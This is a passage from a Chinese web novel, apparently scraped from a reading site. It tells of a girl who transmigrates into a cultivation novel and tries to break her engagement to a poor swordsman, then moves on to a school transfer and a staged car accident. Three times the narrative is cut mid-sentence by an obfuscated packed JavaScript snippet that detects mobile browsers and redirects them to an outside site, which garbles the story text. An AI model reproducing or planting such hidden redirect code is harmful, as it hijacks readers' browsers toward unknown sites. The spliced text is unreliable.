《穿成疯批校草的白月光后》 1. 裴甜 盛夏的天光刺眼,蝉鸣刺耳,空气中弥漫着树叶晒焦的糊味。 一条土路弯曲地向前,尽头摆了两列木头栅栏,像是村子的大门,隐约可见后面几家烟囱往上冒着细细的白烟。 裴甜观察完四周寒酸的环境,蹙了蹙眉,身后忽然响起冷冷淡淡的一句:“还来我家干什么?” 男人的声线低沉而有力。 裴甜一怔,这个声音有点耳熟。 她微微侧身,回过头,果真是她那个一贫如洗的大反派未婚夫周随。 十五天前,她爹带回来一个长得人高马大、皮肤黝黑、穿着玄色粗布衣服的寒门散修,拿着把破剑,拎了一堆给她垫桌脚都够不上的东西,说是她未婚夫,来提亲了。 当时正跟师姐们玩捉迷藏的裴甜,表情仿佛被雷劈了一样。 这位未婚夫还好意思把手里的东西递给她。 裴甜退了两步,偏头不接,他的手就一直固执地伸着。 她是堂堂修仙界顶级宗门——上古神府的千金,从小集万千宠爱于一身,众星捧月地骄纵了十九年,即使早知道她这位寒门反派未婚夫很穷,也万万没想到会穷到这种地步。 他所有的聘礼加起来,不够买她一条裙子。 见她迟迟不接,这位未婚夫还问她:“嫌我穷?” 裴甜高冷地睨了他一眼,没回答他的话,理都没理,直接回去闭关了,眼不见为净。 未婚夫也没有多纠缠,很快转身下山。 然后她爹知道了,关了她十天禁闭,逼着她来周家道歉赔罪,还不准带人壮胆。 裴甜没来过这种偏僻的地方,不知道周家住哪,也不认识人。 她在这树荫下面站了好一阵,总算等到了这个反派未婚夫。 此人十二岁离家拜师学艺,踏入修仙途十七年,是太上忘情剑派唯一传人,实力深不可测。 他现在要弄死她,像碾死一只蚂蚁一样容易。 裴甜孤身前来,还是有一点怕他。 不过她现在只是一个走原书剧情的工具人,没到书里让她死的剧情,想必应该不会有生命危险。 裴甜镇静下来,皱着眉,只看了他一眼就收回目光:“家父说我那日态度不好,让我来道歉。” 明明说着要道歉,语气却还是那么的高高在上。 静了几秒。 “你要不想来,可以不来。”未婚夫周随两只手臂抱着两根腰那么粗的长木头,错开她,步伐稳健地往村里走。 不知道是不是木头太沉,他走得不快,慢腾腾的,仿佛在等什么。 裴甜迟疑了几秒,小碎步赶上周随,离他老远地并排走,贴着路边,抬了抬尖细的下巴,淡淡道:“家父还有话带给周家老人。” “原来有任务在身,难怪肯纡尊降贵。”周随又黑又沉的眸子扫她一眼,尾音的调子上扬,有点讽刺。 在烈日下走了这么久,裴甜热得不行,不是很想理他,把手腕抬到额头上,拿宽大的衣袖遮住烧灼的日光,眼角余光觑一眼旁边的男人,又赶忙移回来,又觑一眼,又移回来。 周随黝黑粗壮的手臂因为使劲,肌肉和青筋都暴起来,鼓鼓的,衣领敞开了,露出一点点晒得发红的结实胸膛,还在流汗,浓眉大眼又是薄唇,五官带着原始的野性,一看就不好惹。 裴甜东想西想,没有专心走路,冷不防一头撞上什么坚硬的东西,下意识“呀!”地叫了一声,下巴磕得生疼。 她慢慢移开遮住眼睛的衣袖,看见杵在眼前无限放大的一根石柱。 “……” 为什么道路边要立一根石柱。 裴甜盯着它,死死抿着唇,沉默,不让尴尬有一丝一毫的机会渗透出来。 然而过了两秒,旁边那人还非要问:“撞到了?” 裴甜涨红了脸,呆如木鸡地顿了几秒,别过脸朝着里面,不耐地娇声恼道:“关你什么事。” “不关我事,那你来我家干什么?” 裴甜恹恹地道:“我来退婚。” 周随早已经猜到她的来意,此时听她说出来,黑眸里也没什么情绪,沉默地抿着唇,手上跟着使了一把劲,抱着木头继续前行。 他早几年就知道他有个高贵未婚妻,是上古神府府主的千金。 第一次见到真人是在两年前的修仙大会上。 她娇滴滴地坐在高位,冷若冰霜,仙姿绝世,没有任何一个人,可以配得上她。 旁边的散修近乎痴迷地说了句:“她就是修仙界第一美人裴泠。” 周随才知道这是他素未谋面的未婚妻。 可惜未婚妻再美,又不可能看得上他,而且还听说她和世家第一天才宁殊关系暧昧,退婚是迟早的事。 来这个世界这么久,他现在很有自知之明。 虽然他无数次难以自止地肖想过她。 她不知道,每次她一出现,他的眼神就一直跟着她走。去年修仙大会,他在台上比试,场面完全压倒性胜利,只是因为看见她从他台下经过,往宁殊的试台去,他就停了动作,握着剑一直看着她,心都乱了,被对手一剑洞穿左肩,比试失败。 如果那场比试赢了,最后一场就是散修第一与宗门第一对决。他本来还想赢了宁殊,把奖励的法宝给她作聘礼的。 不过都不可能了。 裴甜跟着他到了周家院子里。 几间狭窄逼仄的土屋,墙壁是木头和石头堆的,地上铺着石板,屋顶用茅草和青灰色的泥瓦混着盖,也不知道下雨会不会漏。 院子里养了一群鸡,放着一只大水缸,用篱笆围起来,搭了座院门。门边种着几簇不知名的杂花,开得姹紫嫣红,倒是好看。 果然一贫如洗,寒门寒得很彻底。 跟她那气势磅礴的上古神府比起来,犹如天壤之别。 听见脚步声,堂屋里坐着的老两口边笑边出来看,还说:“大黑回来——这是?” 他们刚跨出门槛就呆住了,看着裴甜一时反应不过来。 少女神情高贵地立在院子里,身姿纤细,乌发长及大腿,头顶束一只不停流转华光的宝冠,卷曲的耳发环着雪白的面庞,映衬出明月疏柳也掩不住的夺目的艳色,一眼颠倒众生,美到窒息。 别说是一辈子都在村里的周家老两口,就是浩瀚无边的修仙界,无数天才修士见了她也要折腰。 只有周随像瞎了眼似的没感觉,手臂一松,让两根木头重重地砸在地上,荡起一片飞扬的尘土。 裴甜急忙离他远了几步,拿衣袖掩住口鼻,小脸皱到一起。 怎么连放个东西都这么粗鲁。 周随斜了眼她的神情,自顾自地去拿锯子,边走边回老两口的话,很敷衍:“不认识,姓裴的。” “啊,是裴家姑娘吧,哎哟哟,快进来快进来!”老两口喜不自胜,笑得满脸褶子,高高兴兴拉裴甜进屋,又看见拿着锯子出来的周随,沉下脸数落道,“大黑你怎么回事,这是你未婚妻,你什么态度!” “哦。”周随又看了裴甜一眼,调子平平。 裴甜一个眼神也没给他。 周大娘拉着她的手,满脸慈爱的笑,感叹道:“当初见你的时候,你才刚生下来呢,这么十几年不见,出落得跟仙女似的,我们老眼昏花,都认不出了。” 裴甜拧着眉头,盯住周大娘的手,轻轻挣扎了一下,碍于父辈当年稀薄的情分,还是忍住了没说话,让周大娘把她拉进去。 老两口热情地招呼她坐。 裴甜皱眉打量完屋内陈旧简陋的摆设,冷淡的眼神落在长条板凳上,没有动作。 周大娘问:“怎么啦?” “这个怎么坐人。”她眼神很纠结。 老两口愣了愣,一下明白过来,笑着说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824187|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以坐可以坐,闺女将就一下。我们没什么本事,家里穷了点,没置办那些家具。不过你放心,你嫁过来,该有的东西我们一件都不会少,不会委屈了你的!大黑看着不怎么说话,其实很心疼人,肯吃苦,能力也强,以后一定会对你特别好。” ……这倒不必,她很快就要走完她的剧情死掉了,以后周随变成大反派,只会对一直粘着他叫师父的替身女主特别好,对其他人都是一个字——杀! 她这个炮灰白月光根本不值一提。 裴甜抿着唇,不接这话。 周大娘还以为她害羞了,把花生松子推到她面前,给她倒了一碗茶,她也没喝。 此时周随大步流星地进来,抬起手臂,歪头在膀子上蹭了下脸上的汗,自己倒了碗水,仰头咕咚咕咚地把水喝了,末了从她旁边擦过去。 近得几乎能感受到他身上冒出的腾腾热气。 裴甜两只白嫩的小手一下握紧,闭了闭眼。 他在挑衅。 以为这样她就会搭理他吗? 裴甜沉默几秒,端起水碗,视死如归地吸了一口气,闭上眼把水小口小口地往嘴里灌。 不蒸包子争口气。 老两口笑得合不拢嘴。 周随顶着烈日的暴晒,一个人闷声在院子里干苦力。 他把木头搭在长条板凳上,脚踩在上面,大手按着它,用锯子咯吱咯吱地锯,落了一地的木屑,声音比蝉鸣声还刺耳,扑上来的灰尘混着不停滚落的汗珠,弄得一张脸脏兮兮的。 他不时抬头看一眼被老两口拉着说话的裴甜,见她不耐地皱着眉,一副隐忍厌烦的样子,低头继续干活。 裴甜被她爹逼着来赔礼道歉,但以她的人设,不可能对周家那么低声下气,只好以别的方式代替。 所以她见周家家徒四壁,直接送了一大堆名贵家具和布料首饰。 周家一开始死活不肯收,后面看她实在坚持,以为她是要嫁过来,又觉得他们家里太简陋,于是看破不说破地笑着收下,预备给她嫁过来用。 周大娘觉得她是一个人美心善的好姑娘,跟他们家沉稳又肯吃苦的周随特别般配,越看越喜欢,春卷刚放凉了点,就急忙端过来,第一个给她吃。 裴甜看了一会儿,盛情难却,硬着头皮用叶子包着拿了一个。 脑中顿时响起不符合人设的警告,震得她耳朵嗡嗡地疼。 她四下里看了一眼,三步并作两步地走到门口,抬手把春卷扔进花丛里。 周随黑眸一直在看她,见她往那边走,明白她想干什么,放下锯子,想拦她,还是忍住,又拿起锯子,一言不发地继续锯木头。 裴甜从他面前经过,他头也不抬地沉声道:“你不吃就别拿,拿了又扔算什么。” 裴甜正捏着手帕不停地擦手,闻言脚下一顿,他话里好像有其他的意思,但她想了须臾,不知道他在说什么,还是皱眉道:“这种东西,我们神府养的狗都不吃。” 周随看了她一眼,嗤笑:“你把那狗牵来,我看它吃不吃。” 裴甜翻了个白眼,懒得理他。 过了一会儿,周随没头没脑地问,“嫌我家穷是吧。” 裴甜冷淡地乜斜他一眼:“阁下本来就穷。” 周随听得心头无端窜起一股火,语气也有点冲,带着几分不知道哪里来的嚣张,冷笑道:“我穷?我他妈钱多得能——” 不知为何,他突然中断了他嚣张的言论,又变得非常成熟且有自知之明,偏过头冷冷道:“我家是穷,你不嫁就叫你爹来退婚,别老在我面前晃来晃去。” 他话里含着明显的不耐和不屑,裴甜仿佛被他惊到了,微微睁大眼,不可置信地看了他一会儿,恼道:“谁在你面前晃来晃去了!”说着转身就走。 走了两步又开始后悔,她还没提退婚这事呢。 她这趟白来了。 2. 退婚 周随盯着她清瘦的背影往外走,好像哪里被人用勺子挖空了一块,柴也不想锯了。 过了片刻,他还是没忍住,停下动作,尽量平淡地叫她:“等下,我问你个事。” 裴甜心中一喜,脸上还要做出一副不耐的模样,回过头,皱着眉看他,眼神纠结地迟疑了几秒,才不情不愿地走到他面前,瞥着他问:“什么事?” “你不是来道歉的?” 周随踩在已经很短的一截木头上,粗粝的大手抓着锯子撑在地面,另一只肌肉鼓胀的手臂曲起来,随意搁在踩高的膝盖上,微微俯身凑近,明亮的黑眸肆无忌惮地盯着她白嫩嫩的小脸,一眼都没有错开。 “那又如何?”裴甜不知道他想怎么样,犹豫着说完,见他突然凑得这么近,她都闻到他颈项上燥热的汗味了,急忙往后退了一步,小脸很警惕,带着点讨厌的防备,娇气地说,“你离我远点。” 他说话就说话,突然凑这么近干什么,她说的又不是悄悄话那么小声! 周随偏头好笑了声,也不知道她在怕什么。 他就问:“你跟谁道歉了?我怎么没听见。” “还要我怎么道歉呀!难道要我给你们家跪下么?我的赔礼已经够多了,不要太贪得无厌。”裴甜眉眼间的神情对他很是鄙薄,“阁下能不能人穷志不穷一点?” 周随扬了扬眉骨,反问:“你又知道我志穷不穷了?” 裴甜不理他这种调戏的话,扭过头并不看他:“我只知道,人穷志不穷的人,不会贪得无厌地问未婚妻要东西。” “我不要你的东西,你给我跪一个,我既往不咎。” 裴甜被他冒犯到,冷冷地转身,仿佛没有听见他的话,小脸上的神情却带着“你是什么东西也配让我下跪”的高傲。 一个寒门剑修,竟敢说出让修仙界顶端的神府千金给他下跪的话,实在大言不惭。 周随也在生气,后面那句话他就是故意的,故意冒犯她,让她生气。他甚至还想说那你陪我睡一晚,我就既往不咎,但又不想她太气了,还是没说这种粗话。 他刚才只不过想跟她多说几句,才随便找了一个话题,她却下意识觉得他一定还想要什么,因为他穷,所以他是贪得无厌的人。 他不服气。 两人沉默,只有凶狠地拉锯子的声音,木头呜呜地哭,特别刺耳。 裴甜自己气了一会儿,慢慢吸了口气。 算了,走剧情退婚才是正经事。 她转过来,眼神扫了一圈,冷着脸换了个话题:“诶,你这个是做什么的?” 周随压着火,不想回答,但是又想跟她说话,他可能以后也没有几次跟她说话的机会了,还是冷漠地抬起眼皮,看她一眼:“哪个?” 裴甜抿了抿唇,指了一下锯断在地上的木头:“这个。” 嫩如青葱的雪白手指,在周随黑眸底下犹如惊鸿一般掠过去。 周随看得心烦意乱,低下头说:“烧火用的柴,等下给它劈成四半就是。” “为什么要劈成四半?” “不然这么大一块怎么烧?” 裴甜又指着另一边地上的竹子问:“那这些也是烧的柴?” “不是,那个用来做笼子。” “做什么笼子?” 周随挑了挑眉,看着她,裴甜被他看得皱了皱眉。 过了几秒,周随漆黑的眸子里带了点野蛮,半真半假地说:“做个关你的笼子,让你不嫁也得嫁!” “?” 裴甜睁大眼,震惊地看着他,小脸慢慢变色,将信将疑。 人怎么能关在笼子里面,她堂堂神府千金,就因为要退婚,周随竟然想出这种丧尽天良的办法对付她,反派果然不是东西。 裴甜想了想她被关在笼子里凄凄惨惨等他投喂的画面,吓得不由自主地退了两步,眼神里涌起了慌张,但是下巴仍然倔强地扬着:“你胡说,这种破竹子做的笼子怎么可能关得住我,我一下就挣脱开了!而且我们神府人多势众,你敢这样对我,他们就会杀了你。” 周随无所谓地歪头笑了声,冲她勾勾食指,让她过来。 裴甜不安的眼神落在他又脏又糙的手指上,犹豫一会儿,慢慢把脑袋凑过去,紧张地看着他,生怕他做出什么奇怪的举动,比如把她抓进笼子! 周随低下头,跟她挨得很近,鼻尖全是陌生又让他心跳加速血液沸腾的少女香气。 原来她身上是这个味道。 周随看着她光洁小巧的耳朵和雪白的侧脸,道:“这种笼子画上阵法,你就出不来了。我们散修抓了妖物,都关笼子。前一阵我还关了一头成了精的猪,大概,”他认真地打量了一眼裴甜,说,“大概你这么大吧,把她关进笼子里,她也不相信出不来,还用妖力使劲挣扎,你猜怎么样?” 裴甜躲开眼,不跟他带着侵略性的明亮眼神对视,只盯着他汗湿的鬓角,憋了几秒,蹙眉道:“它出去了?” “哪能,她是——”周随缓缓凑近,趁她还没反应过来,在她耳边突然‘砰’了一声,“直接炸成了一朵花。” 他那一声甚是突然干脆,裴甜冷不丁被他吓了一跳,肩膀跟着他的拟声词一抖,两只小手耷拉着僵在胸前,像做贼心虚一样,眼神呆呆地看着他,小脸煞白。 周随看她吓出这种小松鼠偷吃被抓住的姿势,顿时笑大了,胸膛都跟着震动。 裴甜好一阵才反应过来那头猪精是她,额上青筋跳了跳,不再跟他说话,直接往屋檐下走。 周随长臂一伸,隔着衣袖拉住她细弱的手腕:“你去哪?生气了?” “你别碰我。”裴甜皱眉,甩开他的手,往一旁退了两步,“我去跟他们退婚。” 周随盯了她几秒,慢慢把那只手收回来,背到身后,平静地说:“他们答应了没用,你得跟我退。” “那你要怎么样才肯退婚?” 终于拐到正题上。 裴泠她爹她娘都特别重情重义,当年门中内乱,她爹带着夫人重伤出逃,结果路上裴泠就要从她娘肚子里出来,正一筹莫展之际,是周家带他们回来,让他们借宿。 恰好那天周随满十岁,她爹说有缘,又打算归隐俗世,就给他俩定了亲。 后面门中还是找到了他们,请回去平息内乱。她爹当了府主,陆陆续续送了好多东西来道谢,周家都没要,就只有亲事还在。 这种情况下,她爹娘肯定不会让她退婚的,只能靠周随主动退婚。 周随低着眼睛,漫不经心地道:“我一开始就说了,让你爹来跟我退。” 她爹要是肯答应退婚,今天她还用来? 简直是故意耍她。 裴甜气得太阳穴突突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824188|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地跳,眼神在四下里转了一圈,伸手把木头全给他推到地上。 周随抬起沉沉的黑眸,没什么情绪地看着她。 气氛僵住。 过了片刻,他继续干活。 裴甜拿出不达目的誓不罢休的毅力,跟周随耗在那里,皱着眉注视他收拾板凳锯子,进去出来,拿斧子把柴劈好,弯腰抱到最左边的屋檐下,靠着水缸整整齐齐地码在一起。 他被太阳晒得汗流浃背,麻布衣服几乎贴在身上,凸显出身上肌肉紧实的强悍体魄。 裴甜走过去,当着他的面,一脚把他刚刚放好的柴堆踢垮。 院子里响起“哗啦啦”的倒塌声。 她还多扒拉了几下,给他弄得乱七八糟,两块木头顺势落到旁边的水缸里。 周随反应迅速,伸手把水缸里泡湿了的柴捞起来,扔在地上,平静地警告她:“你别找不自在。” 裴甜冷笑,眼神轻蔑,抬起小下巴冲着他。 周随看她几眼,没说什么,蹲下去把木块一一捡起来,重新码好。 她又一脚给他踹得满地都是。 周随布满伤口的手掌一把抓住她的小皮靴,刚划拉出来的几条小口子沁出细微的血珠,他像是感觉不到痛一样,抬眼定定地盯着她。 明亮的黑眸里浮起某种粗野的蠢动。 极其明显,明显到她一眼就知道那是什么意思。 裴甜顿时怂了,忍气吞声地把脚往回抽。 但他一直盯着她,捏得特别紧,无论她怎么用力都一动不动,脚背也被捏得隐隐作痛。 这人怎么手劲这么大。 裴甜皱眉吃痛,运起灵力打过去,却像打在一座沉重的大山上,毫无用处,她只好恼道:“你再不放开,我要叫周大娘了。” “你不是挺有能耐?”周随不放手,不知道想怎么样。或者他知道他想怎么样,可她是不可能答应的,他也不会说出来自取其辱。 裴甜痛得红了眼睛,恨恨地瞪了他一阵,突然带着哭腔大声道:“周大娘!” 周大娘火急火燎地从灶屋出来,正要问怎么了,就看见周随捏着小未婚妻的脚,还挺用力,他那手背上青筋都鼓起来了。 小未婚妻柔柔弱弱的,可怜得眼泪在眼睛里打转,又不敢哭的样子。 周大娘连忙上前打开周随的手,搂着裴甜的肩膀,把她护在身后,恨铁不成钢地教训周随:“你干什么呢!她才多大,你多大了,你欺负她你好意思?人家仙女似的一个水灵灵的小姑娘,嫁给你够委屈的了,你还不会对人家好点,给你吃那么多饭,是让你有力气对她动手的吗?气死我了!” 周随松开她的脚,也不辩解,看着她“呵”了一声,说:“告家长你还挺会。” 裴甜扭过头不理他。 她已经讨厌死他了。 这一句不是在走剧情。 周大娘又把周随一通数落。 周随一边被数落,一边不嫌麻烦地又把柴一块一块捡回去。 等到周大娘进去了,裴甜活动了一下脚踝,怒从心起,两只小手给他把所有柴堆全部推到地上。 这次她非常机智,推完就快步出门,跑到院门口,又回头非常厌恶看着他道:“我死也不会嫁给你这种人的,你不退婚也没有用。” 周随回得干脆:“爱嫁嫁,不嫁拉倒。” 3. 周野 窗外响起叽叽喳喳的鸟叫。 裴甜小手从被子里伸出,揉了揉眼睛,慢慢坐起来,想到昨晚穿书世界的剧情,还被周随故意吊着她的恶劣态度气得头疼,有点烦闷地发了一阵呆。 这件事还得从她初三期末做换肾手术说起。 裴甜做完手术后,无聊看了一本没写完的修仙文,从此每晚都会穿进这篇文里,变成书里三个大佬的炮灰白月光——裴泠,上古神府府主的千金,长得跟她本人有九分像。 脑子里也莫名多了一个世界提示,一、她必须保持裴泠的人设走完固定剧情,死后再复活,才可以开始自己的任务。 否则任务失败,她将扣除十年寿命,再也不能进入书中世界。 二,复活后必须和书里任意的男性角色走一对真爱CP出来,而且对方得是书里第一个飞升的人。 否则任务失败,她将扣除二十年寿命,再也不能进入书中世界。 如果任务成功,她则可以随时切换两个世界,还能在现实中恢复健康,和常人一样。 别的奖励对裴甜不是很有吸引力,就寿命和健康是她的死穴。 为了她的病,爸爸妈妈挣了大半辈子的房子都卖了,欠着债也要继续治。 所以她根本考虑都不用考虑,直接接受了任务。 裴泠的人设是高冷娇气呆美人,这个不难,难的是,按照剧情,她必须要在领盒饭之前和大反派周随退婚,要不然她没办法做第二个任务。因为大反派周随后面是被男主杀了的,没可能飞升。 可是以周随现在这种态度,让他退婚,做梦。 裴甜惆怅地想了半天,默默叹了口气,起床洗漱吃饭。 裴甜爸妈工作都很忙,不能请假陪她去办转学手续,她很理解,安安静静地跟在于阿姨后面,进了南城六中的校门。 教务处里除了老师,还站着几个身材高大的男生,没什么站相,松松垮垮地昂头站着,倒是身后的家长小心翼翼地赔笑。 裴甜和于阿姨就先在门外等着。 她一开始还以为那些男生也是转学的,结果戴眼镜的男老师拿起水杯喝了口水,严肃地说:“屡教不改!这学期才开学几周?你们又打了多少次——” 最边上有个男生无辜地叫起来:“主任,我这回没打架啊,为什么叫家长算上我?” “你是没打架!”主任伸出食指指着他,凶巴巴地冲他吼,“你上课拉你前面女同学的椅子,让人摔地上,逃课、抽烟、考试作弊!你的事多着呢!还有,别以为你没参加这里头就没你,我调查得情清楚楚!” 那男生嘀嘀咕咕地顶嘴:“这里头还有野哥呢,带头挑事那人的头都是他打破的,怎么不见你让他叫家长……” “你别跟我扯别人!就说你的问题!”主任听到一个非常敏感的名字,勃然大怒。 旁边几个男生都哄笑起来。 “你们还有脸笑。”主任板着脸,秋风扫落叶一般无情地扫了一眼几个男生,冷笑,把他们的家长叫过去,拿着什么单子给他们看。 这边几个男生又交头接耳的:“行啊波仔,你前面女同学不就丁雪慧吗?还拉人家椅子,智取不行决定强攻啊?” “他强攻也没用,丁雪慧昨天还管我要野哥电话呢,哪里看得上波仔。” 主任听他们还敢说话,重重地拍了几下桌子。 几人识相地闭嘴。 原来是打架闹事的刺头学生叫家长。 都在教务处办公室里了,他们为什么还敢这么嘻嘻哈哈的,不怕被记过扣分开除吗? 裴甜想了几秒,往门口的墙边退了退。 里面安静了一阵,很快又响起主任严厉的训斥,好半天才教育完,学生和家长一齐出来。 几个男生推推搡搡的,脸上还挂着笑,似乎对叫家长这种事已经很无所谓。 忽然有个穿篮球衣的光膀子男生瞥见裴甜,脚下站住,呆呆地盯着她,目不转睛。 身后的人撞他肩膀:“看什么呢?走啊哥们。” “你看那。”男生冲她抬了抬下巴。 “——卧槽。” 一群男生和家长听见惊呼,纷纷疑惑地回头。 裴甜抿着唇,下巴尖细苍白,垂着睫毛,覆盖眼里的情绪。 她不想被这么多人注视,尤其还有好多家长。 但是她也管不着别人什么反应,也不想主动去招惹麻烦,低着头跟于阿姨快步进了教务处。 身后隐约传来几句很下流的讨论:“哪个班的?以前没见过。” “高一新生吧。高二高三要有这种级别的,还不早被野哥玩过了。” “你这话说得,咱野哥可不是那种人啊。” “放屁不是。” 裴甜听到了那些话,没什么反应,只是脸色更白了点。 这些人说什么玩不玩的,还是高中生呢,怎么这么社会。 她把转学单和个人档案递给主任,手背在身后,乖乖的站着,后背挺得笔直。 “裴——甜?成绩很好啊,次次考第一。”主任翻完档案,刚才凶人的马脸瞬间消失,笑眯眯地看着裴甜,犹如春风般和煦,“在这做张卷子,行吧?” 裴甜说好,两只手接过卷子,往四下看了看,准备站在主任办公桌前写。 主任随手给她拉了把椅子过来,让她坐。 入学考试的卷子不是很难,都是初中和高一的题目,没有高二的,毕竟才开学两周。 裴甜从笔袋里拿出黑色水性笔,埋着头认真做题目。 她解题的速度特别快,主任和于阿姨在旁边才聊了十来分钟,她就刷刷刷地写完了整张卷子。 从头到尾检查复算了一遍,裴甜交卷。 主任拿在手里,歪着身子跟旁边两个老师看了一阵,抬起头笑说:“行,我这边开个接收单,你拿去上面盖章,办个转学证,周一过来报道。” “哎哟,太麻烦李主任了。”于阿姨两只手握住李主任的手表示感谢。 裴甜跟着鞠躬:“谢谢主任。” 她这种成绩又好,又乖巧有礼貌,长得还特别好看的女生,最招老师喜欢,趁主任开接收单的时候,有个女老师就替她问:“让她去哪个班啊?” “0班。”主任想也不想。 0班是一个年级师资力量和学习成绩最好的班级,在六中,很少有转学生能一进来就去0班的。 女老师满意地点点头。 很快,主任写完接收单,又像是忽然想起什么,临时改了主意,跟女老师说:“还是去你班上吧,0班我不放心。” 女老师愣了一下,反应过来,说:“也是。” 裴甜不知道主任不放心什么,她觉得可能是不放心她的成绩,毕竟教学质量差的学校,就算成绩第一说服力也不强。 不过去哪个班她都没意见,她都会努力学习的。 下午裴甜回了她现在就读的学校,办好了转学证,特意等到放学,才进教室去收拾东西,以免打扰到同学上课。 她的课桌上堆满了大大小小的礼物,一个人抱不走,幸亏苗曦转回教室拿钥匙,帮她分担了一半。 从公交车上下来,还得走十分钟才到裴甜家。 两个人抱得手都酸了,裴甜头上还盖着防晒衣的帽子,更加热得小脸红扑扑的。 她换肾手术后的并发症,是系统性红斑狼疮,对光会敏感,太阳很大的时候,她就得把自己裹起来。 走进林荫道,夕阳透过茂密的树叶斑驳地投下来。 苗曦憋了一路,忍不住问:“他去参加比赛了你知道吗?” 裴甜脸上没什么异样的神情,平静地“嗯”了一声,垂眼看着脚下的路,说:“我听说了。” 苗曦看着她现在这么风轻云淡的表情,有点唏嘘,好奇地小声问:“那你们现在还有联系吗?” 裴甜沉默了几秒:“没有了呀。” “好可惜啊,当初我们都觉得你们一辈子也不可能分手的。没想到,唉。”苗曦摇头感叹,他们当初的感情太美好了,多少人羡慕,她也是第一次看到,在舞台上犹如骄阳一般绽放光芒的裴甜,为一个男生那么疯狂。 裴甜笑了笑,眼睛里湿湿的,看了苗曦一眼,说:“好热,要不要吃雪糕。” “吃啊,我们就这里买吧。” 裴甜和苗曦走进一家小超市,把手上抱着的礼物放到超市门口,弯腰去冰柜里选雪糕。 一辆嚣张的银灰色兰博基尼限量版毒药,从远处冲过来,后面跟着一辆保时捷CGT。 突然响起刺耳的急刹。 有个手上提着菜袋子的中年男子,惨叫了一声,贴着兰博基尼的车灯倒在地上。 裴甜回头看。 好像出车祸了。 苗曦选好雪糕,把冰柜拉上,皱眉说:“这些富二代真是,在市里的街道上还开这么快,一点不把人命当回事。” 裴甜没说话,看了一眼红绿灯。 红灯还有十几秒。 一个身材高大劲瘦的少年从兰博基尼上摔门下来,长得特别帅,眼角眉梢和薄唇都带着一股与生俱来的嚣张,穿着个图案夸张的黑T和修身黑色长裤,气质冷痞,压住了狠劲,但看起来还是有点凶。 现在是下班时间,周围已经聚集了一群人,把出事的地段团团围住。 紧随其后的保时捷上下来四个人,快步小跑过来,看着倒在地上一抽一抽的中年男子,面面相觑,有点惊讶:“卧槽,野哥撞上了吗?” “刚才是红灯啊,这不要命的。” “不知道。”周野问地上的人,“老头?能起来吗?送你去医院。” “哎哟撞人了!车怎么开那么快啊!撞死人了……”中年人原本紧紧闭着眼,哎哟哎呦地疼得直叫唤,一听送医院,眼皮颤巍巍地睁开了,声音不停地抖啊抖,“年轻人啊……那不、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824189|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用麻烦……你们也急着走……钱给我、我自己、自己去医院就行……” “你起得来?” “起得来,别耽搁了你们……” 周野反应了几秒,偏头笑了声,点点头,薄唇扯出了点冷冷的弧度:“行啊,要多少?” 中年人扫了一眼他的车,虽然认不出这是最贵的限量版帝王车型,但知道这是兰博基尼的牌子,狮子大开口:“十万吧……我好像腰椎断了,疼得厉害……” 他们这一行就是漫天要价坐地还钱。 别说在场的几个男生听笑了,连围观群众也看明白了,这就是个碰瓷的。 “操,心挺黑啊,前一阵那个才要五万。” “后面不又给了三十多万吗,他这才要十万,不多。” 有个穿衬衣的男生看中年人听完他们的话,好像有点懊恼要少了似的,又好笑又好气地说:“咋了,同行没通气啊?上一个现在还在医院躺着呢。” “我劝你赶紧走,野哥今天心情不爽得很,你搞不好要弄假成真。” 周野点了根烟咬在嘴里,从裤兜里摸出皮夹,抽了一张银行卡出来,给中年人看了一眼。 那个中年男人急忙伸手来拿,动作还挺敏捷。 周野一下收回来,骨节分明的手指夹着烟,吐了口烟圈,平静地说:“这有四百多万,你写个你家里的联系方式,我给他们。” 围观群众哇了一阵,啧啧感叹有钱人。还有个阿姨看不过眼,冲周野说:“小伙子别理他,他是碰瓷的,你就等交警来处理。” 周野坐在车头上抽烟,垂眸盯着地上的人,不是很在意。 他家没别的,就是钱多。 有个男生去车里拿了个本子和一只签字笔,扔在地上。 中年男人眼睛都直了,有点急切地仰着头:“不用,你给我……给我就行了……家里人都在外地……” “给你没用。”周野嘴里咬着烟,嚣张地歪了歪头,嗤笑,“因为老子今天要把你撞死。” 中年男人被少年语气里认真的残忍吓得抖了一下,一时分不清这个男生在说真话还是诈他。 他顿了顿,还是继续哭天抢地。 周野等了一分钟,看他只躺在那哀嚎,迟迟不动笔,没耐心了,转身上车,单手搭在方向盘上,直接踩离合。 裴甜震惊地睁大了眼,盯着那辆跑车开始滚动的车轮,两只小手不自觉捏紧。 周围的人全都惊叫着散开。 